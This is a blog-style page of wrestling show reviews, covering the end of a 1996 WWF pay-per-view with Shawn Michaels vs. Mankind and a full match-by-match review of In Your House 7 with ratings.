We go to the back to hear Shawn talk about how he really has no idea what he’s going to do here as he’s never faced someone like Mankind. That’s true, as there really hadn’t been anyone like Foley before in the company. Thank goodness he didn’t get his original name: Mankind the Mutilator, as that would have just not worked. Earlier today on Superstars Shawn was put into the Mandible Claw and it knocked him down for a long time. He says he’ll be making it up as he goes out there.

WWF Title: Shawn Michaels vs. Mankind

This match has always been praised as a classic by both men. I’ve heard good and bad things about it, so let’s see how it holds up. Mankind was viewed as a legitimate threat to the title based on what he had done to Taker in the past. At this point though, he was still a relative rookie in the company, but that didn’t matter. That’s what WWE needs more of today: don’t start guys as rookies.

Launch them into main storylines. Anyway, Mankind comes out in a casket and does his whole rock back and forth with the urn which was something I always liked for some odd reason. The crowd is insane for Shawn. I’ve never gotten how the reaction that the crowds give didn’t equal the ratings. Shawn was madly over, but he never drew anything as far as ratings went. Maybe it was the rest of the show or WCW, but for some reason there wasn’t a connection there.

The announcers are really putting Foley over big here which is something that does a lot to help him in this match. He opens up hard by taking control, but eventually it goes outside and Shawn starts going nuts. He hits a cross body from the top to the floor and after pulling the mats up, jumps from the apron to the floor, shoving Foley’s head into the concrete in what is another basic but good spot.

Not everything has to be flashy to look good. That move and Goldust’s smothering thing earlier are proof of that. This match has a weird flow to it. While it’s not a traditional face vs. heel formula, it has a unique formula that is working for some reason. Shawn is throwing everything he’s got at Foley but nothing is working. Most of it is Shawn on the offense using his standard stuff, but it’s just not working on Mankind.

He’s having to get more aggressive in this match and it’s a style I like. This is very reminiscent of the Diesel match that he had at In Your House 7 and that just worked on all levels. This match is really the kind of stuff that the Attitude Era was built on which is likely why it was considered to be so good. You could say that it was ahead of its time I suppose.

Anyway, Foley gets his knee slammed into the stairs a few times but that really doesn’t get Shawn anywhere. They keep going back and forth which is just great. Every time one gets anything going for them the other just takes it away from them. They’ve been going about 15 minutes and haven’t let up yet. We finally get the famous spot in the match as Mankind is thrown into the ropes and gets his head caught between them.

As Shawn attacks, he gets stuck in the claw. They brawl on the floor for awhile and the Claw is locked on again but Shawn counters. Mankind accidentally punches a chair and Shawn works on the fingers to take away the Claw, which is really smart actually. Somehow Mankind gets the advantage back and starts getting near falls. This match really is getting great now as it’s long passed just being good.

Back and forth, all kinds of action, and if you were watching at this point you had the doubt in your mind as to whether or not Shawn could put him away, which is the golden key to any match: doubt. Foley can’t beat him so he pulls a Spunky and starts to beat on himself.

After that Shawn makes ANOTHER comeback and starts beating the living tar out of Mankind. He’s jumping all over the place but finally, and I do mean finally gets crotched on the top rope to stop him. Shawn then gets belly to back suplexed from the top through the Spanish Announce Table, which was a brand new concept at the time and therefore not funny or ironic yet. After that, Mankind throws a second chair into the ring but Shawn gets in first.

Mankind climbs the ropes but Shawn gets a running start and kicks the other chair into Foley’s face, which is called Sweet Chin Music. Not really but I’ll let it go. Shawn goes insanely slow so you can tell that this is your finish. And of course, here he comes: Vader runs in for the DQ and we get the garbage finish to the great match. Post match, Sid runs out to fight Sid after Paul Bearer knocks Shawn out with the urn.

He knocks Shawn out again for the second time in about 30 seconds with the Claw before signaling for the casket to be opened. Then, in one of the funniest scenes I can ever remember as a wrestling fan, the casket is opened and of course Taker is inside. The look on Bearer’s face is mindblowingly funny.

The key here is that earlier the casket was opened and there was no Taker. He goes after Mankind of course and just looks absolutely awesome doing it. Foley looks scared to death and limps to the back with Taker following him as Shawn is declared the winner by DQ to end the show.

Rating: A. This would be an easy A+ if it had a real finish. I don’t like the DQ here, but I really don’t have another choice I guess. There wasn’t anything that could have been done otherwise to keep Mankind’s heat going and not take the belt from Shawn or make him look weak. Either way, this was a great match with all kinds of back and forth stuff. Top level here all the way and I can see why they both rate this match so highly.

Overall Rating: A. GIN! The company got it right, FINALLY. Every match on this card had a purpose, everything made sense, and above all else: THE MATCHES WERE GOOD! Let’s see what we have here: a gimmick match, a comedy match, a title change, a debut, the blow off to a feud, and a great title match to close out the show and set up the main event for the next show. What more could you really ask for? This is a great PPV, regardless of what formula you’re following. Definite recommendation as this is two hours of what wrestling is all about.

Remember to like this on Facebook and follow me on Twitter @kbreviews




In Your House 7: Good Friends, Better Enemies – A Great Match And A…..Something

In Your House 7: Good Friends, Better Enemies
Date: April 28, 1996
Location: Omaha Civic Auditorium, Omaha, Nebraska
Commentators: Jerry Lawler, Vince McMahon
Attendance: 9,563

So Wrestlemania has come and gone, and of course the big deal is that Shawn Michaels, the undisputed king of the midcard has broken through the glass ceiling and defeated Bret Hart to become the world champion, ushering in the new era of the company. No one knew what that era was, but I guarantee you no one knew about the juggernaut that was about to steamroll both Vince and the WWF that July when the NWO would form.

Shawn would continue to be the face of the company until around November when a new star would emerge. Little did the company know (whenever I type that I always hear the voice from Stranger Than Fiction which always creeps me out) that by putting the title on Shawn, they ultimately made the move that would save them in the long run, but I’ll remain cryptic and explain that concept for later on for those of you that don’t get the historical aspect which would be impressive as it’s very indirect.

Anyway, as for tonight, the title of our show refers to Shawn and Diesel, who are going to have their big match that would end their feud once and for all: a No Holds Barred match for the title. The most important thing about tonight though was very simple: it was Hall and Nash’s last televised appearances with the company.

These departures, the so called Curtain Call incident, next months’ In Your House, and Bash at the Beach which was held in July of that year, are four nights that shaped the business as a whole and may be four of the 5 nights that are the reason the WWE won the Monday Night Wars. Explanations coming later including one in this review, but for now let’s start the show! Oh yeah and Foley is here now also.

Standard recap video package to open as it once again tries to play this off as equal to Mania but no one really buys that. No one gave Diesel a chance as no one believed that Shawn was going to lose in his first title defense. It was simply not going to happen after the amount of time and effort he had put into his buildup.

Diesel had turned on him at a house show which prompted Shawn to say what the company tried to build up as a famous line “I’m going to kick his 7ft face.” Yeah that really isn’t that famous. Time for the first match.

Owen Hart/British Bulldog vs. Jake Roberts/Ahmed Johnson

This is kind of a rematch from Mania, minus Vader and Yoko per team. The whole showdown with Vader and Yoko never happened as someone woke up and realized that match would just bomb so they turned it into a 6 man by adding these guys. Owen and Bulldog were by far and away the best tag team around this time but they didn’t get the tag titles until September and they held them until May which was some kind of a record or something that I don’t feel like looking up right now.

They were kind of emulating the original Hart Foundation with the power/speed and while it wasn’t as effective, it was good enough to dominate the tag division for about 9 months. Anyway, here we go in a rather pointless tag match.

We get a pre match interview from Jake but Vince of course cuts off one of the best promo men of all time to push some stupid story, as Vince has to be the center of attention. Before the match, Cornette’s annoying lawyer has a court order banning Jake’s snake from being used. Jake of course rips it up and throws the snake on the heels. Why is it that every heel has a horrible fear of snakes? WWE needs a psychologist on staff to help deal with this.

Apparently Johnson was a surprise partner, even though he was Jake’s partner last month. Part of the story is that Bulldog is worried he’s not as strong as Johnson based on arm wrestling or something. Oh and he broke Johnson’s thumb. So far this is a pretty formula based match with Jake and Owen doing most of the heavy lifting. Whenever Johnson is in, Bulldog runs to tag in Owen to avoid the confrontation.

Johnson is over as we have a very hot crowd. Johnson somehow botches a clothesline. That’s like the most simplistic move of all time. DONALD FREAKING TRUMP did a decent one. Apparently this was supposed to be Bulldog vs. Jake. Vince of course says Owen would be nothing without Bret, even though Bret wouldn’t be around for about 6 months at this point.

Jake is in the ring far more than Johnson as the company knew that Ahmed just flat out sucked in the ring but he was over and had a great look. We go to the rest holds as you can tell this isn’t going to be over anytime soon. This should sum up things very well for you: Jake is in the ring for about seven minutes straight, taking most of the offense.

He finally makes the tag to Ahmed, and Johnson is literally in the ring 30 seconds before tagging back out. That’s how much faith they had in him. Ending comes when everyone is brawling and Bulldog hits Jake in the knee with Cornette’s tennis racket a few times and puts him in a leg lock for the submission.

Rating: C. This isn’t a bad match. Ahmed had no business being on live PPV, but it’s not bad. It was decent for an opener and that’s about all you can ask for here. Jake shows he still has it and he would get a decent little push in the next few months. Nothing special really, but just a little something to keep the fans happy.

Intercontinental Title: Ultimate Warrior vs. Goldust

Yes that Ultimate Warrior and that Goldust had a match. Warrior had made a return at Mania, squashing HHH in less than two minutes and taking a Pedigree, yet being on his feet before HHH was. Goldust is accompanied by Marlena, who was supposed to be really sexy I guess, but she never did it for me at all.

He’s also accompanied by his bodyguard Brusier Mastino. Earlier tonight….wait a second. Brusier Mastino? That’s the name that Kane used when he was a jobber in WCW back in the early 90s. That’s clearly not Kane here as he was playing Isaac Yankem at the time. What the heck? Why use the name of a guy that did absolutely nothing in WCW as a character here?

According to Wikipedia, the man with Goldust is the same one that played Mantaur a year ago. Huh? That’s really weird. Anyway, earlier tonight, Warrior was giving an interview when Marlena blew cigar smoke in his face and Goldust threw gold dust into his eyes. Why would you want to tick him off? GOldust ran away and fell, apparently hurting his knee. Goldust is coming off a mini feud with Savio, and McMahon says that he hopes that feud isn’t over. What is Vince on anyway?

The music hits, the crowd pops, Vince screams, and Warrior jogs to the ring. The massive pyro display is kind of a cool touch for him. We haven’t started the match yet and Lawler is up to two movie references. Make that three, and there’s the bell. Goldust starts our epic showdown by hobbling to the back and apparently leaving.

Then, in something you can tell Vince is furious over, the Warrior picks up Marlena’s cigar from the aisle and starts smoking it. The fans have no idea what to think of this, especially after those Warrior PSAs from the late 80s about not smoking.

Movie reference #5 by King. The bodyguard leaves as Warrior gets Marlena’s director’s chair and sits it in the middle of the ring. Mastino comes back with Goldust and Marlena, screaming “HE’S GOT THE CHAIR!!!”, like it’s the end of the world or something. As Lawler makes his seventh movie reference, Warrior is sitting in the chair, smoking the cigar, as the trio leaves to Lawler’s ninth movie title joke.

Warrior keeps messing with his hair as Lawler calls him a Rebel Without a Clue for number 10. Goldust gets on the mic to say something but the fans boo him. He threatens to come out there and kiss every person if they don’t shut up as this continues to be the weirdest match of all time and we haven’t even started yet. Number thirteen hits as Goldust and Marlena get into the ring, while the cameraman keeps getting shots of her back.

Warrior holds up Goldust’s robe like a bullfighter. Warrior gives Marelena her cigar back which she pops right into her mouth like it’s no big deal at all. In what takes another full minute, Warrior gives Goldust his robe back, accompanied by the fifteenth movie pun by Lawler. I know you might be getting sick of my counting them, but seriously, they’re the most entertaining thing going on right now.

This is at 10 minutes and counting so far and they haven’t even touched each other. Apparently Goldust being outside the ring for seven minutes isn’t enough for a countout either. McMahon says Warrior will do whatever it takes to get the match started. I’m not even going to acknowledge that with a joke or an insult. Goldust sits in the chair and rubs his chest as Marlena…does something.

Even Vince is sick of the jokes at #18. Warrior takes the cigar again and puffs away as King is starting to repeat jokes. Vince asks what everyone is wondering: what is going on? Goldust sticks out his hand which Warrior puts the cigar into before clotheslining him to the floor. Goldust walks to the back for the count out. Are you kidding me? THAT’S IT? The bodyguard takes some clotheslines and a slam as Warrior is announced as the winner.

Vince and Lawler both say something to the effect of the winner of what contest? There was a match here? Post match, Lawler breaks into the twenties in jokes as Warrior puts Goldust’s wig on with the bodyguard’s hat over top of that and climbs the ropes to end this.

Rating: G-. This is so bad it’s below an F. This went on nearly 15 minutes and the contact between the two was a cigar to the hand and a clothesline. The crowd was on fire before the “match” and then we get this? This is why Warrior is blacklisted in wrestling forever. Not this particular thing, but the full thing of shenanigans like this. This was a total waste of time, there was no match, and the fans had no idea what was going on. Easily the worst segment of all time.

We cut to the back to see Bulldog FREAKING out about something as he tries desperately to get into Shawn’s dressing room, saying something about his wife Diana. This turned out to be the start of Shawn’s next storyline and his first real feud. The story would go on to be that allegedly Shawn either hit on or attempted to rape Diana backstage, which would turn out to be false and just a way to get Bulldog a title shot. This would lead to a match at the next In Your House.

We come back to the arena with Warrior’s music still playing and you can see that Vince is ticked at what just happened in the “match.” Vince attempts to play off his anger by saying that he’s mad that Goldust was such a coward. While that’s at least somewhat plausible for the time being, knowing that Vince was the boss the whole time makes it laughable. As he and King talk, apparently, IT’S TIME, IT’S TIME, IT’S VADER TIME!!!

Vader vs. Razor Ramon

And it’s official: Razor is jobbing on his way out. Since no one knew he was leaving though, this wasn’t a given domination by Vader at the time. This is an interesting pairing here, as Razor usually does a lot of power moves but in this case, he’s having to do more hit and run stuff.

His size makes this plausible though, so it’s an interesting match. Vader of course dominates most of the match with Razor getting in some shots here and there, but ultimately getting knocked right back down by Vader. In an odd scene, Razor kicks out of the Vader Bomb. Razor amazes me by hitting a standard suplex on Vader after ten minutes have gone by. The more I see of his stuff, the more Razor impresses me.

Razor hits his big man finisher with the second rope bulldog but that doesn’t work. He almost gets Vader in the Razor’s Edge following a missed Vader Bomb but he can’t do it. He does however hit an electric chair drop on him which is quite impressive. Finish sees Razor set him for the Edge but getting backdropped and Vader just sits on his chest for the pin.

Rating: B. This was a very solid match. Razor made Vader look like a million bucks here, just like he should have. Razor’s last night would be three weeks away, but for all intents and purposes he was done after this match. Vader was going to be the top heel over the summer as he would eventually challenge Shawn for the title at Summerslam. I think Vince knew what he had with Vader, but Vader was too much of a business risk with how insane he was.

After the match, Doc Hendrix shows up and says that President Monsoon has determined that based on Vader’s victory here, he’ll be on the next In Your House, facing Yoko. Vader had injured Yoko on Raw by breaking his leg, resulting in a very funny scene where they had to bring a forklift to carry Yoko out of the arena, but apparently it has healed.

Cornette goes into one of his legendary rants, talking about how Yoko is a dead man. He says that Razor is the example of what Vader does to people in the ring. Razor came into this match as a handsome man and left looking like Margot Kidder.

For those of you that don’t know, that’s the woman that played Lois Lane in the Superman movies. What that has to do with anything is beyond me, but it’s Cornette doing what he does best: ranting and raving like a crazy man.

Tag Titles: Bodydonnas vs. Godwinns

Ok, there’s actually a somewhat lengthy backstory here. The Smoking Guns had vacated the tag titles because Billy hurt his neck, leading to a tag title tournament. The finals were held on the preshow of Mania 12. Prior to that, Sunny, the Bodydonnas manager and the woman that I think was most of our first fantasies, won the Slammy for best buns.

At the end of the match, Phineas had the match won and Sunny allegedly flashes him, which is stupid because you can clearly see she’s covered up, but man it was 1996 so it was shocking at the time. This led to the Godwinns losing the match.

This is the rematch, but earlier in the night, once again on the preshow, the cameras saw Phineas and Sunny off in the back of the building and Sunny flashes her chest at him. Another thing, the Godwinns have comical nicknames. Henry O. Godwinn (HOG) and Phineas I. Godwinn (PIG). They have Hillbilly Jim as a manager now, meaning they can use his old music, Don’t Go Messin With a Country Boy, meaning they get huge pops.

We cut to the back where Mr. Perfect, absolutely rocking the suit he’s in, is with Sunny and the champions. Sunny, looking instant orgasm hot, says that she showed PIG a thing or two and hits on Perfect, before saying that tonight the Donnas are going to outwrestle them. Perfect has a great line by saying that Sunny certainly has the greatest, most amazing pair of…….tag team wrestlers he’s seen in quite some time.

Ok it was funnier when he said it.

Anyway, on with the match. Of course, we have the biggest sex symbol in the history of the company on the way to the ring so we stay on a wide shot of the crowd the whole duration of their entrance. This is another standard though not bad tag match which really is a tale of two halves: to begin with the Godwinns just beat the living tar out of the champions before PIG gets beaten down in the other corner.

This is what you would expect from two such teams. The big guys overpower the smaller ones as the smaller heels do what they can to hang in there until they finally get the advantage. This eventually leads to the power guys making their comeback. Anyway, that eventually happens and Sunny runs to the back, drawing all the attention with her. She returns with a signed photo of herself, autographed to Phineas.

This distracts him as Jim is about to throw the slop onto Sunny. In the ring, Henry hits the reverse DDT on one of them, but he’s distracted by what’s going on outside. The BodyDonnas switch and Henry gets rolled up for the pin. After the match, the losers console their love struck partner, but as they leave he hides the picture in his overalls.

Rating: B-. This wasn’t a bad match. It was standard formula stuff which is what most good tag matches are. The main focus was on Sunny which makes sense as she was the biggest star of all these people. There were some great theme-based tag teams back in this era and these were two of the most memorable.

We cut to the back with Mark Mero apparently ticked off at HHH over being jumped earlier tonight on the preshow. Sable is jaw droppingly hot at this point and somehow people care even less about Mero than they would later on.

Time for your main event recap. They screw up by saying No Holds Barred Championship, implying it’s a new title or something. You know what they meant, but it was written poorly. How sad is it that I rented this tape so many times that I haven’t seen this recap in years yet I know the narration word for word? You know, the build up for this is making it feel pretty epic. At the time, this was a big match as Shawn had never beaten Diesel.

Shawn promises the Kliq a party tonight no matter what. Diesel says he’s got a surprise planned. I know what it is, but I won’t spoil it for you.

WWF Title: Shawn Michaels vs. Diesel

JR is an interviewer. That’s just a shame. Maurice Mad Dog Vachon is in the front row. Shawn’s entrance is cool. He throws up a hand sign, power walks down the aisle, and takes off the vest and the belt before sliding in to start the slug fest. This is very fast paced and it’s working really well. We’re a minute into this and Shawn has come off the top rope twice.

Once for a twisting moonsault and the other to hit Diesel in the head with the boot he stole from the Spanish announcer. Diesel gets the best snake eyes I’ve ever seen as he throws Shawn up into the air to smash him down into the buckle. Diesel is just beating Shawn up at the moment but for some reason, considering it’s no holds barred, Diesel takes the tape off his wrist and chokes out the referee.

Then he whips Shawn with the referee’s belt. Diesel hangs Shawn over the ropes, which is pointless as Shawn can clearly touch the floor which would just make him uncomfortable and not unconscious. This is getting very violent. Not as bad as some of the future stuff, but at the time this was big stuff. Momentum swings when Diesel does the classic chair to the top rope spot to hit himself in the head.

Shawn is doing the Ricky Steamboat method of getting the heck beaten out of him then doing something big to win. He’s getting the tar beaten out of him and having him kick out time after time makes him look strong. Diesel was leaving so it wasn’t a big issue at all. Diesel jackknifes Shawn threw the announce table, which was a new thing at the time so there’s no joke to it. Shawn looks dead after this, and rightfully so.

Diesel goes into the ring with the title which is a nice touch. Vince screaming at Shawn to let it be over is so melodramatic it’s funny. Shawn of course doesn’t listen and is up on his feet like the true no seller he is. Shawn starts his comeback and we have no commentary which I really like. We all know Shawn’s moveset down to the letter when he’s making his comeback but it’s nice to just see it.

It gives the sequence the feeling of a house show and it’s a very nice little break from the norm. Of course Vince can’t let us have something cool for awhile without him so he’s back. He hits some of the most wicked chair shots to Diesel I’ve ever seen. These two are putting on a heck of a show out there as you can really feel like they hate each other.

While they were very close in real life, seeing them beat on each other like this is nothing but great as you can feel the natural chemistry that they share. This is great. Shawn hits the screw you elbow after a brief Diesel comeback but the kick is blocked, despite Vince screaming give it to him Shawn give it to him! Now we get the famous part of the match.

Diesel goes over to Vachon, the guy from earlier, and attacks him. He chokes him to the ground and RIPS HIS PROSTHETIC LEG OFF. I don’t care how scripted it was, that was sick. There’s nothing at all that makes you a bigger heel than that.

He attacked an old man and literally ripped his body apart. Shawn low blows him to stop him before hitting him with the leg, then hitting the chin music, after stomping loudly on the mat about 12 times. Seriously, if you hear the stomping, WHY WOULD YOU TURN AROUND? Also, the genius cameramen has the cameras on Shawn’s feet so you see Diesel fly back from the kick but not the impact of it. The pin ends the show.

Rating: A+. I absolutely loved this match when I was a kid and I still love it to this day. It had the big match feel and it never lets up. These two had mad chemistry together and this is probably their best match ever. They don’t use a ton of weapons which is what makes this good. There are indeed a few good things in there but it never overshadows things to become stupid like a hardcore match.

They use a chair, a rope, a boot (one time), and a prosthetic leg. The fire extinguisher and the table are semi weapons as it wasn’t the table that hurt but the power bomb through it, and the extinguisher is more of an annoyance than pain. Even with 6 weapons, it never gets old or boring as they’re well spaced out.

This is just a fun match and a great way to make Shawn look incredibly strong in his first title defense. People still use this as a reference for Shawn’s ability in no rules matches, and it holds up today with ease. Great match and one you should all see.

Overall Rating: C-. The main event is amazing, but the middle is killed worse than Mania 25 was by Kid Rock. It just sucks the life out of the show and it never recovers until the main event. However, I’d recommend that segment just to see how out there it is. Overall, this show is somewhere between good and bizarre.

The main event is a great match and probably somewhere on my list of favorite matches of all time, but nothing else here is really good at all. There’s some ok stuff, but nothing ever rises above that. Avoid the show, watch the main event.